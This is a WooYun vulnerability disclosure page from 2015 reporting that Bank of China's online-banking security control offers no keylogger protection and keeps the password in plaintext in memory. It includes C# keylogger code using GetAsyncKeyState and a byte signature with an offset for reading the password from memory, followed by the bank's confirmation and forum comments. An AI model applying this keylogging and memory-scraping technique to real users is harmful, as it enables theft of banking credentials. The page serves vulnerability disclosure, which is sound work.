当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0114746

漏洞标题：纸糊的国内网银安全控件系列漏洞之中国银行篇（一）

相关厂商：中国银行

漏洞作者： 路人甲

提交时间：2015-05-18 11:18

修复时间：2015-08-16 14:44

公开时间：2015-08-16 14:44

漏洞类型：用户敏感数据泄漏

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-18： 细节已通知厂商并且等待厂商处理中
2015-05-18： 厂商已经确认，细节仅向厂商公开
2015-05-21： 细节向第三方安全合作伙伴开放
2015-07-12： 细节向核心白帽子及相关领域专家公开
2015-07-22： 细节向普通白帽子公开
2015-08-01： 细节向实习白帽子公开
2015-08-16： 细节向公众公开

简要描述：

按说网银安全控件应该是能够在不安全的环境里保护用户安全的（废话！本来就安全的环境还要他保护个蛋啊！）。但实际上由于设计缺陷，某些控件一点安全性都没有。

详细说明：

中国银行个人网银安全控件完全不能保护用户密码，完全没有对抗键盘记录的设计。
更严重的是！内存里有明文密码，而且位置不随机，直接搜索内存特征码即可查找到！
详细内容见证明。

漏洞证明：

完全没有键盘记录器的对抗，甚至无需键盘钩子，循环调用API函数GetAsyncKeyState即可进行键盘记录。

bool bShift = false;
            for (int key = 0; key < 120; key++)
            {
                if (GetAsyncKeyState(key) != 0)
                {
                    if (key == 8)
                    {
                        textBox1.Text = textBox1.Text + "BS,";
                        continue;
                    }
                    if (key == 16)
                    {
                        bShift = true;
                        continue;
                    }
                    if (key < 20 || key > 90)
                        continue;
                    if (bShift)
                    {
                        textBox1.Text = textBox1.Text + "S+" + ((char)key).ToString() + ",";
                    }
                    else
                    {
                        textBox1.Text = textBox1.Text + ((char)key).ToString() + ",";
                    }
                }
            }


内存搜索特征码：01 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00
找到后偏移地址+0x20，读取内存长度0x14，进行ascii转换后即为明文密码。
图中左上为内存搜索结果，左下为调用GetAsyncKeyState进行键盘记录的demo，右侧为安装了中行安全控件的IE。

中行1.png


修复方案：

咱好好设计下行不？这安全性除了能防XSS直接JS读密码以外啥都防不了。虽然其他银行也不咋地吧，人家好歹内存没有明文，做个键盘消息拦截防一下键盘记录器，虽然也没什么用。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-05-18 14:42

厂商回复：

谢谢，我们将对漏洞尽快处理

最新状态：

暂无

漏洞评价：

评论

  1. 2015-05-18 11:19 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    网银控件应该是保障用户计算机安全不可控前提下的产物吧？目的也是为了能够在不安全的情况下保证用户财产安全。

  2. 2015-05-18 11:19 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    系列？

  3. 2015-05-18 11:46 | Herolon ( 普通白帽子 | Rank:185 漏洞数:42 | ******)

    中国网银系列漏洞连续剧 如有雷同 纯属巧合

  4. 2015-05-18 11:51 | 胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)

    四大银行能聚齐吗

  5. 2015-05-18 12:30 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:16 | 猜猜我是谁？)

    前排出售瓜子饮料小马扎

  6. 2015-05-18 13:09 | 找寻者 ( 路人 | Rank:2 漏洞数:1 | 学习啊)

    在现在这个大数据的时代，不关注安全的，除了某些之外，前途？

  7. 2015-05-18 13:20 | B1acken ( 普通白帽子 | Rank:174 漏洞数:56 | 渣渣)

    7楼，默默关注

  8. 2015-05-18 14:21 | ddy ( 实习白帽子 | Rank:44 漏洞数:16 | 其实第一次要我挖洞我是拒绝的。因为，你不...)

    8楼，默默关注

  9. 2015-05-18 17:13 | 小指头 ( 实习白帽子 | Rank:97 漏洞数:19 | 不想当大拇指的小指头，不是个好手。)

    mark

  10. 2015-05-18 17:24 | 孔卡 ( 实习白帽子 | Rank:42 漏洞数:12 | 我已经过了那个餐桌上只有一条鸡腿就一定能...)

    啥时候公开 看个洞有这难么

  11. 2015-05-19 17:26 | D_in ( 普通白帽子 | Rank:413 漏洞数:62 | 到我嘴里来)

    默默关注

  12. 2015-05-21 15:22 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    纸糊＝＝

  13. 2015-05-21 17:09 | 真旅网集团(乌云厂商)

    期待银行资金安全的漏洞浮现（：

  14. 2015-05-22 08:55 | mr.yu ( 路人 | Rank:22 漏洞数:12 )

    跟绿盟发布的一样？

  15. 2015-05-23 11:11 | Let a person cry. ( 路人 | Rank:23 漏洞数:9 | xxoo)

    后面看到（一）..就会有23456789..一般剧情都是这样的

  16. 2015-08-16 18:26 | k0_pwn ( 路人 | Rank:2 漏洞数:2 | 专注二进制许多年，突然觉得web才好玩)

    前提是利用这个漏洞开发专用的木马然后让用户感染？